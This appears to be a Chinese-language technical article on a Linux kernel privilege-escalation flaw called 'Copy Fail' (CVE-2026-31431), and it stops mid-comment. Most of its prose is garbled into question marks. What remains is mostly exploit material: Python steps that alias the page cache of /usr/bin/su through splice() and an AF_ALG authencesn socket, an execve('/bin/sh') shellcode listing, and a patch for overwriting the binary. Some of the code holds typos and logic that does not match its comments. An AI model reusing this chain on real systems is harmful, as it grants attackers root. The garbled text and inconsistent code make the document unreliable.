??????? Copy Fail?CVE-2026-31431 ???? 2026 ?????????
????? 732 ??????????? Linux ??
2026 ? 4 ? 29 ???????? Theori ???????? Linux ????????????CVE-2026-31431??? Copy Fail?
?? 732 ??? Python ?????????? Linux ???????? root shell?????? 90%??? 99%?? 100%?????????????????????????? ROP gadget?????? KASLR/ASLR???????????
????????????"????"??Linux ?????????????????????????????????????????????????? 2017 ??????????? 9 ??????
??????????"?????"???????????? / SRE / ???????????????????????????????? authencesn ????????? in-place ???splice() ??????????????????page cache ????????????? setuid ??????????????????????????????
??????? Linux ?????????????
1.1 AF_ALG?????????????
Linux ??? 2.5.45 ???? Kernel Crypto API?include/crypto/??????????????????????????
??? / ?????OpenSSL, GnuTLS, NSS?
? ?????socket/bind/send/recv?
AF_ALG Socket ???net/ipc/algif_aead.c?
? ?????crypto_alloc_xx?
?????????crypto_ahash, crypto_aead?
? ???????AES-NI, ARM CE, ?????
???????aes, sha256, gcm...?
AF_ALG ?????????????? socket ???????? 38?????????????? socket ????? bind/accept/send/recv ????????????????????? TLS ?????? offload ??????????????????????
import socket
# ?? AF_ALG socket???????? TCP socket ????
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
# bind ?????????? crypto ??????????
# authencesn ??????????"???????"
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
# ????
s.setockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
# ???????
s.sendmsg([plaintext], [])
???????????????????? root ??? ???? Linux ???????????????? AF_ALG socket????????? SELinux/AppArmor/seccomp ????????????????
1.2 authencesn??????????????
authencesn ?? "Authenticated Encryption with Associated Data using ESN"???? crypto API ????????template??????????????????? IPsec?WireGuard?DTLS ??????????????????????????
- ??????????CBC-AES ?????
- ?????????????HMAC-SHA ??????
- ????????????ESN????? 64 ????
?????????
??
?
CBC-AES ?????????????
?
HMAC-SHA256 ???? ?? + AAD ?????
?
?? || Authentication Tag???????
? /proc/crypto ?????????????
name : authenc(hmac(sha256),cbc(aes))
driver : authenc(hmac(sha256-generic,cbc-aes-generic))
module : authencesn
???????????? authencesn?? ESN ?????????? crypto/authencesn.c?ESN ???? IPv6 IPsec ???????????
1.3 2017 ?? in-place ????????
2017 ???? commit 9d1f0d6e ? authencesn ?????????????in-place ?????
?????out-of-place????????????
// ?? out-of-place ??
struct scatterlist src[1], dst[1];
sg_set_buf(src, plaintext, len); // ???????
sg_set_buf(dst, ciphertext_out, len); // ?????????
crypto_aead_encrypt(req, src, dst, len); // ??? src ? dst???????
In-place ??????????????
// In-place ??
struct scatterlist sg[1];
sg_set_buf(sg, buffer, len); // ??????????????
crypto_aead_encrypt(req, sg, sg, len); // ?????????????????
???????????? memcpy() ????
- ?? CPU ????
- ????????
- ????????IPsec?TLS offload??????
? in-place ?????????????aliasing????scatterlist ????sg_src?????sg_dst??????????????????????"?"?"?"? scatterlist ???????????
1.4 splice()????????
splice() ? Linux 2.6.17 ????????????????????????????
#include <sys/splice.h>
ssize_t splice(int fd_in, loff_t *off_in,
int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
??? read/write ??????
read(fd) ? ???? page cache ?? ? ?????
write(fd) ? ????? ? ???? page cache
splice(fd_in ? fd_out) ? ???? page ?? ? ??????
splice() ??????? pipe buffer ???????????? splice ??????? buffer ???????????????????? page cache ????????????????? fd ????????????????????"??"????
?????????? Copy Fail ?????????????????? pipe buffer ??? page cache ????????? page ??????????
??????????????????? root
2.1 ????
????????????????????????????????????????????????????????????????????????
? ???? ?
? ?
? [????] open('/usr/bin/su') ? page cache ?????? ?
? ? ?
? ? splice() ??? ? pipe buffer ?? page ?? ?
? ? ?
? ? AF_ALG authencesn ?? ? scatterlist dst == page cache??
? ? ? ?
? ? ?????? page cache? ?
? ? ?
? ?? execve('/usr/bin/su') ? ?????? page cache ?? ?
? ??? root shell ?
????????????????????????????????????????????????????????????????????????
2.2 ??????
??????? page cache ??
import socket, os, struct
AF_ALG = 38
# Step 1: ?? AF_ALG socket??? authencesn ??
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
s.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
# Step 2: ??????? setuid ??
# open() ???????? page cache????????
fd = os.open('/usr/bin/su', os.O_RDONLY)
# Step 3: ?? splice() ?????????
# splice() ??? buffer ????????? page cache ??"??"
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096) # ???????? page cache ???
os.close(fd) # ????????? page cache ????????
# ???????? /usr/bin/su ? page cache ??
??????? in-place ??? scatterlist ????
# Step 4: ????????
# ???sendmsg ? IOV ????? page cache ??
# ??? authencesn in-place ?????? dst scatterlist
# ????????????? page cache ?
# ????? 4096 ??"??"????????? shellcode?
malicious_plaintext = b'\x00' * 4096
# ???????? 4 ????????? 2.3?
# ??????
# ????? IOV ?? pipe fd ????? pipe buffer ? page cache
# authencesn ? in-place ?????
# "??? in-place?src = dst = pipe buffer ??? page cache"
# ? ???????? page cache?
s.sendmsg([malicious_plaintext], [(pipe_r, 0, 4096)])
# Step 5: ????????
os.execve('/usr/bin/su', ['su', '-c', 'whoami'], os.environ)
# ?? /usr/bin/su ? page cache ????
# execve() ?? page cache ? ?????? shellcode ? root shell
2.3 ??? 4 ?????
?? exploit ???? 732 ?????????????????? 4 ????????
x86_64 Linux ELF ? setuid ???????
/usr/bin/su??? setuid-root ELF ???execve()?????????suid??? root ???????su??????????setuid(0)?setreuid(0, 0)??? root ???- ??
setuid()??????????????? root ???????????????
?????
?????? su ELF ??????? X ???
?? 4 ???? NOP ????: \x90\x90\x90\x90?
?????
jmp $+4 + offset_to_shellcode # \xe9 0xYY 0xZZ 0xWW 0xVV
# ??? shellcode ????
Shellcode?? su ELF ? .data ?????????
# ??? shellcode??????
push 0x68 # 'h'
push 0x732f6e6962 # 'nib/'
push 0x6e69622f # '/bin'
mov rax, 59 # __NR_execve
lea rdi, [rsp] # "/bin/sh"
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall # ?? shell
????? 4 ???
- x86_64 ?????
jmp rel32??? 5 ?? opcode + 4 ???? - ???????? 4 ??
NOP?\x90?????????jmp rel32 - ???
execve("/bin/sh")????? root ????? shell???? root shell
????????
- ????? page cache?????????
sync && echo 3 > /proc/sys/vm/drop_caches??? page cache?????- ?
rmmod algif_aead??????????? - ?????md5sum, sha256sum?? AIDE/Tripwire ???????????
2.4 ????? 100% ???
?? Copy Fail ?????????????????????
| ?? | Copy Fail | Dirty Pipe / Dirty COW | ????? |
|---|---|---|---|
| ???? | [X] ??? | [!] ???? | [OK] ???? |
| ?????? | [X] ??? | [X] ??? | [OK] ???? |
| ????? | [X] ??? | [X] ??? | [OK] ???? |
| ???? | [X] ?? 2017 ? | [!] ?????? | [!] ???? |
| ASLR/KASLR | [X] ??? | [X] ??? | [!] ???? |
| ????? | 100% | 90-99% | 10-80% |
?????????
?????page cache ??????????????? ASLR?????????????????/usr/bin/su ? page cache ??????????ELF ????? Linux ??????????????????????
???????????????????
3.1 ????????
????????????????
???
? (socket AF_ALG)
net/ipc/algif_aead.c ? AF_ALG AEAD ?????????
? (crypto_aead_*)
crypto/authenc.c ? authenc ???? ESN?
crypto/authencesn.c ? authencesn ???? ESN??? ESN?
? (????)
crypto/cbc.c ? CBC ??????
crypto/shash.c ? HMAC ??
???
? (splice)
mm/splice.c ? splice ??????
? (?? pipe buffer ??)
mm/pipe.c ? pipe buffer ????? page ???
mm/filemap.c ? page cache ??
fs/exec.c ? execve ?????? page cache ?? ELF?
3.2 authencesn ???? scatterlist ??
??? crypto/authencesn.c ????????????
static int crypt_ahash(struct aead_request *req, u8 *op)
{
struct crypto_aead *tfm = crypto_aead_reqtfm(req);
unsigned int cryptlen = req->cryptlen;
struct scatterlist *src, *dst;
/* ... */
if (!req->src || !req->dst) {
// ?? src == dst?in-place???????? scatterlist
src = dst = req->src;
} else {
// ? in-place
src = req->src;
dst = req->dst;
}
/* ... */
// ?? dst ?????? CBC ??
// CBC ???"???"??? dst scatterlist ????
// ?? dst ???? page cache ???? ? ?? page cache?
}
???????
? authencesn ??????op = CPHA_AEAD_DECRYPT?????? sg?scatterlist?????????????????????????????? in-place????????????????? sendmsg ? IOV??
?? IOV ?? pipe buffer?? pipe buffer ??? page cache ?????????????????????? page cache ?????
3.3 splice() ????"????"
? mm/splice.c ??splice() ?????????
static long splice_to_pipe(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
struct pipe_buffer *obuf = pipe->bufs + pipe->curbuf;
/* ... */
/*
* ????pipe_b